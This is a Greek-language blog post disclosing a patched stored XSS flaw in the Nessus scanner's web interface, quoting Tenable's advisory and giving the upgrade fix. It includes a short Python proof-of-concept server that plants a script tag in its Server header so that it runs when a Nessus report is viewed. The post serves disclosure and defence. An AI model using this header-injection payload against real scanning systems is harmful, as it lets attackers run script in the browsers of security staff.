Jump to content

BlackTrack

  • entries
    93
  • comments
    279
  • views
    22095

Nessus XSS vulnerability


Blackman

1165 views

Όλοι μας είμαστε λίγο πολύ εξοικειωμένοι με το Nessus.

Αυτοί που δεν γνωρίζουν, το Nessus Vulnerability Scanner της

Tenable Network Security είναι μία εφαρμογή που δουλειά της

είναι να ελέγχει το δίκτυο και να αναφέρει το πόσο ευάλωτο

είναι το κάθε σύστημα στις επιθέσεις, εμφανίζοντας μία πληθώρα

από πληροφορίες όπως το ποιες πόρτες είναι ανοιχτές και διάφορα άλλα.

 

 

 

The Situation

 

 

 

Το Nessus έχει ένα server που τρέχει και στον οποίο δίνουμε τα αιτήματα

μας για τις αναζητήσεις μας. Για να το εκτελέσουμε μπορούμε να

χρησιμοποιήσουμε είτε την client εφαρμογή ή το WEB UI.

 

 

 

Αρχές του καλοκαιριού ο φίλτατος Frank Lycops από το The Security Factory,

βρήκε ότι το web-based user interface ήταν ευάλωτο σε επίθεση XSS (Cross Site Scripting).

 

Συγκεκριμένα όπως αναφέρει η ίδια η Nessus τέλος Αυγούστου:

 

The Nessus scanner's web-based user interface (Web UI) was vulnerable to

a stored cross-site scripting (XSS) attack. The issue was due to a security

control being briefly removed due to a regression error. During this 48

hour window, one new build of the Web UI was released leading to the ability

to inject arbitrary script code. This could be done by setting up a malicious

web server that returned a crafted host header containing JavaScript.

When Nessus scanned the web server, the input would be passed as-is and

render when viewing a report.

 

Proof Of Concept

#!/usr/bin/env python

import sys

from twisted.web import server, resource

from twisted.internet import reactor

from twisted.python import log

class Site(server.Site):

def getResourceFor(self, request):

request.setHeader('server', '<script>alert(1)</script>SomeServer')

return server.Site.getResourceFor(self, request)

class HelloResource(resource.Resource):

isLeaf = True

numberRequests = 0

def render_GET(self, request):

self.numberRequests += 1

request.setHeader("content-type", "text/plain")

return "theSecurityFactory Nessus POC"

log.startLogging(sys.stderr)

reactor.listenTCP(8080, Site(HelloResource()))

reactor.run()

 

 

Λύση

 

Η λύση είναι απλή. Η Tenable διόρθωσε το πρόβλημα στην επόμενη έκδοση, συνεπώς όσοι έχετε εγκατεστημένη την έκδοση με Web UI verson 2.3.3, αναβαθμήστε στην 2.3.4 του Web UI.

 

πηγές:

0 Comments


Recommended Comments

There are no comments to display.

Guest
Add a comment...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...